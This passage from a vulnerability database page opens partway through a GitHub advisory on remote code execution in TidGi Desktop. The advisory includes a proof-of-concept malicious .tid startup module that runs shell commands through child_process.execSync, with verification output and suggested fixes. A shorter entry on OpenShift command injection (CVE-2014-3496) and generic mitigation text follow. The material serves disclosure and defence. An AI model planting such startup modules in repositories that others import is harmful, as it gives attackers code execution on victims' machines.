startup                                      \u2502\n\u2502                                                              \u2502\n\u2502    exports.startup = function() {                            \u2502\n\u2502      require(\u0027child_process\u0027).execSync(\u0027calc\u0027);              \u2502\n\u2502    };                                                        \u2502\n\u2502                                                              \u2502\n\u2502  + tiddlywiki.info + any other wiki files                    \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                          \u2193\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Step 2: Victim imports the repository into TidGi Desktop     \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502  Add Workspace \u2192 Clone Git Repository / Open Local Folder    \u2502\n\u2502  \u2192 TidGi boots the wiki                                      \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                          \u2193\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Step 3: RCE \u2014 startup module auto-executes in Node.js Worker \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502  loadWikiTiddlers loads .tid file \u2192 wiki.addTiddlers()       \u2502\n\u2502  boot.startup() \u2192 execStartup()                              \u2502\n\u2502  defineTiddlerModules() \u2192 $tw.modules.define(\"startup\", ...) \u2502\n\u2502  executeNextStartupTask() \u2192 exports.startup()                \u2502\n\u2502  \u2192 require(\u0027child_process\u0027).execSync(\u0027...\u0027) executes         \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n## Proof of Concept\n\n### Minimal `.tid` File (place in `tiddlers/` directory)\n\n```\ntitle: $:/plugins/poc/startup.js\ntype: application/javascript\nmodule-type: startup\n\nexports.startup = function() {\n  require(\u0027child_process\u0027).execSync(\u0027touch /tmp/TidGi-RCE-PoC.txt\u0027);\n  console.log(\u0027STARTUP_EXECUTED\u0027);\n};\n```\n\n### Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26)\n\n```\n$ node -e \"\n  const \\$tw = require(\u0027tiddlywiki/boot/boot.js\u0027).TiddlyWiki();\n  \\$tw.boot.argv = [\u0027/tmp/evil-wiki\u0027];\n  \\$tw.boot.startup();\n\"\nSTARTUP_EXECUTED\n\n$ ls -la /tmp/TidGi-RCE-PoC.txt\n-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt\n```\n\nThe message `STARTUP_EXECUTED` printed from within the attacker\u0027s `exports.startup()` function, and the file `/tmp/TidGi-RCE-PoC.txt` was created by `execSync(\u0027touch ...\u0027)`, confirming arbitrary command execution.\n\n## Impact\n\n| Capability | Status | Details |\n|-----------|--------|---------|\n| Remote Code Execution | \u2705 Full Node.js access | `require(\u0027child_process\u0027)` available |\n| Arbitrary File Read | \u2705 | `require(\u0027fs\u0027).readFileSync()` |\n| Arbitrary File Write | \u2705 | `require(\u0027fs\u0027).writeFileSync()` |\n| Reverse Shell | \u2705 | Node.js `net` module |\n| Persistence | \u2705 | Write to startup scripts, LaunchAgents, crontab |\n| User Interaction | 1 click | Import repository |\n| Cross-Platform | \u2705 | Windows, macOS, Linux |\n\n## Reproduction Evidence\n\n### Step 1 \u2014 Malicious `.tid` file content\n\n```\ntitle: $:/plugins/poc/startup.js\ntype: application/javascript\nmodule-type: startup\n\nexports.startup = function() {\n  require(\u0027child_process\u0027).execSync(\u0027touch /tmp/TidGi-RCE-PoC.txt\u0027);\n  console.log(\u0027STARTUP_EXECUTED\u0027);\n};\n```\n\n### Step 2 \u2014 TiddlyWiki boot with malicious wiki at `/tmp/evil-wiki`\n\n```\n$ node -e \"\n  const \\$tw = require(\u0027tiddlywiki/boot/boot.js\u0027).TiddlyWiki();\n  \\$tw.boot.argv = [\u0027/tmp/evil-wiki\u0027];\n  \\$tw.boot.startup();\n\"\nSTARTUP_EXECUTED\n```\n\n### Step 3 \u2014 Verified RCE: `/tmp/TidGi-RCE-PoC.txt` created\n\n```\n$ ls -la /tmp/TidGi-RCE-PoC.txt\n-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt\n```\n\n## Patch Recommendation\n\n### Fix 1: Disallow `module-type` on User Tiddlers\n\nTiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define `module-type`.\n\n```typescript\n// In defineTiddlerModules() or equivalent\nif (tiddler.hasField(\"module-type\") \u0026\u0026 !tiddler.fields.title.startsWith(\"$:/\")) {\n    // User tiddler \u2014 silently drop module-type field\n    return;\n}\n```\n\n### Fix 2: Sandbox User Modules\n\nIf user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins:\n\n```typescript\n// Replace direct require access with a restricted API surface\nconst vm = require(\u0027vm\u0027);\nconst sandbox = { console, $tw, Buffer };\nvm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });\n```\n\n### Fix 3: Whitelist Allowed `module-type` Values\n\nOnly allow known safe `module-type` values for user tiddlers:\n\n```typescript\nconst ALLOWED_USER_MODULE_TYPES = [\u0027widget\u0027, \u0027macro\u0027, \u0027filter\u0027, \u0027parser\u0027];\nif (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields[\u0027module-type\u0027])) {\n    return; // Block startup, library, saver, etc.\n}\n```",
  "id": "GHSA-9hc2-hjx8-q6pv",
  "modified": "2026-07-14T19:52:41Z",
  "published": "2026-07-14T19:52:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tiddly-gittly/TidGi-Desktop/security/advisories/GHSA-9hc2-hjx8-q6pv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tiddly-gittly/TidGi-Desktop"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import \u2014 Tiddler Startup Module Auto-Execution"
}

GHSA-9HJX-RFG8-XMX5

Vulnerability from github – Published: 2022-05-13 01:30 – Updated: 2022-05-13 01:30
VLAI
Details

cartridge_repository.rb in OpenShift Origin and Enterprise 1.2.8 through 2.1.1 allows remote attackers to execute arbitrary commands via shell metacharacters in a Source-Url ending with a (1) .tar.gz, (2) .zip, (3) .tgz, or (4) .tar file extension in a cartridge manifest file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-3496"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-06-20T14:55:00Z",
    "severity": "HIGH"
  },
  "details": "cartridge_repository.rb in OpenShift Origin and Enterprise 1.2.8 through 2.1.1 allows remote attackers to execute arbitrary commands via shell metacharacters in a Source-Url ending with a (1) .tar.gz, (2) .zip, (3) .tgz, or (4) .tar file extension in a cartridge manifest file.",
  "id": "GHSA-9hjx-rfg8-xmx5",
  "modified": "2022-05-13T01:30:05Z",
  "published": "2022-05-13T01:30:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3496"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openshift/origin-server/pull/5521"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2014:0762"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2014:0763"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2014:0764"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2014-3496"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1110470"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0762.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0763.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0764.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/59298"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.